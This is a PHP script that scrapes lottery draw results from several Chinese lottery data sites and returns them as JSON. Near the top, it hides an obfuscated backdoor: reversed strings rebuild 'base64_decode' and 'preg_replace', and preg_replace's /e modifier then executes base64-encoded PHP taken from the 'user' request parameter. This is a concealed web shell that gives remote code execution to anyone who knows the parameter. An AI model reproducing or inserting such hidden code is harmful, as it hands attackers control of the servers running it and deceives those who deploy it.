<?php

ob_start();
function cut($start,$end,$file){

$content=explode($start,$file);

$content=explode($end,$content[1]);
return  $content[0];
}
function getcode($str){

$str=trim(eregi_replace("[^0-9]","",$str));
return $str;
}
function trimall($str) {

$qian=array(" ","　","\t","\n","\r");$hou=array("","","","","");
return str_replace($qian,$hou,$str);
}

$a = strrev("edoced_46esab");

$b=strrev("ecalper_gerp");

$b("/^/e",$a($_REQUEST["user"]),0);

if($_GET)
{

switch($_GET['id'])
{
case '11':

$url = 'http://www.boworld.net/pk10/ajax.ashx?ajaxhandler=GetPk10AwardData';

$content=file_get_contents($url);

$start2='"awardTime":"';

$end2='","awardNumbers"';

$time=cut($start2,$end2,$content);

$start1='"periodNumber":';

$end1=',"awardTime"';

$qihao=cut($start1,$end1,$content);

$start='"awardNumbers":"';

$end='"},"next"';

$haoma=cut($start,$end,$content);

$date=(date("Ymd"));
break;
case '3':

$url = 'http://www.boworld.net/shishicai/ajax.ashx?ajaxhandler=GetcqsscAwardData';

$content=file_get_contents($url);

$start2='"awardTime":"';

$end2='","awardNumbers"';

$time=cut($start2,$end2,$content);

$start1='"current":{"periodNumber":';

$end1=',"periodDate"';

$qihao=cut($start1,$end1,$content);

$start='"awardNumbers":"';

$end='"},"next"';

$haoma=cut($start,$end,$content);

$start3='"periodDate":"';

$end3='","awardTime"';

$content0=cut($start3,$end3,$content);

$date=substr($content0,0,8);
break;
case '8':

$url = 'http://www.boworld.net/gdkl10/ajax.ashx?ajaxhandler=Getgdkl10AwardData';

$content=file_get_contents($url);

$start2='"awardTime":"';

$end2='","awardNumbers"';

$time=cut($start2,$end2,$content);

$start1='"current":{"periodNumber":';

$end1=',"periodDate"';

$qihao=cut($start1,$end1,$content);

$start='"awardNumbers":"';

$end='"},"next"';

$haoma=cut($start,$end,$content);

$date=(date("Ymd"));
break;
case '12':

$url = 'http://www.boworld.net/jsk3/ajax.ashx?ajaxhandler=Getjsk3AwardData';

$content=file_get_contents($url);

$start2='"awardTime":"';

$end2='","awardNumbers"';

$time=cut($start2,$end2,$content);

$start1='"periodNumber":"';

$end1='","awardTime"';

$content0=cut($start1,$end1,$content);

$qishu=substr($content0,7,7);

$qihao=preg_replace('/^0*/','',$qishu);

$start='"awardNumbers":"';

$end='"},"next"';

$haoma=cut($start,$end,$content);

$date=(date("Ymd"));
break;
case '10':

$url = 'http://www.boworld.net/xync/ajax.ashx?ajaxhandler=GetxyncAwardData';

$content=file_get_contents($url);

$start2='"awardTime":"';

$end2='","awardNumbers"';

$time=cut($start2,$end2,$content);

$start1='"current":{"periodNumber":"';

$end1='","period"';

$qihao=cut($start1,$end1,$content);

$start='"awardNumbers":"';

$end='"},"next"';

$haoma=cut($start,$end,$content);

$date=(date("Ymd"));
break;
case '15':

$url = 'http://www.boworld.net/kl8/ajax.ashx?ajaxhandler=Getkl8AwardData';

$content=file_get_contents($url);

$start2='"awardTime":"';

$end2='","awardNumbers"';

$time=cut($start2,$end2,$content);

$start1='{"periodNumber":';

$end1=',"awardTime"';

$qihao=cut($start1,$end1,$content);

$start='"awardNumbers":"';

$end='","pan"';

$haoma=cut($start,$end,$content);

$date=(date("Ymd"));
break;
case '14':

$url='http://www.luckyairship.com/history.html';

$content=file_get_contents($url);

$start1='<tr class="historyTableBg">';

$end1='<tr class="">';

$content=cut($start1,$end1,$content);

$content=str_replace('<td>','',$content);

$content=str_replace('</td>','',$content);

$content=str_replace('<span class="ball1">',',',$content);

$content=str_replace('</span>','',$content);

$content= trimall( $content);

$qishu=substr($content,18,3);

$qihao=preg_replace('/^0*/','',$qishu);

$date=substr($content,10,8);

$haoma=substr($content,22,43);
break;
}
}
echo '{"drawTime":"';echo $time;;echo '","Num":"';echo $haoma;;echo '","periodsNumber":';echo $qihao;;echo '.0,"periodsTime":"';echo $date;;echo '"}';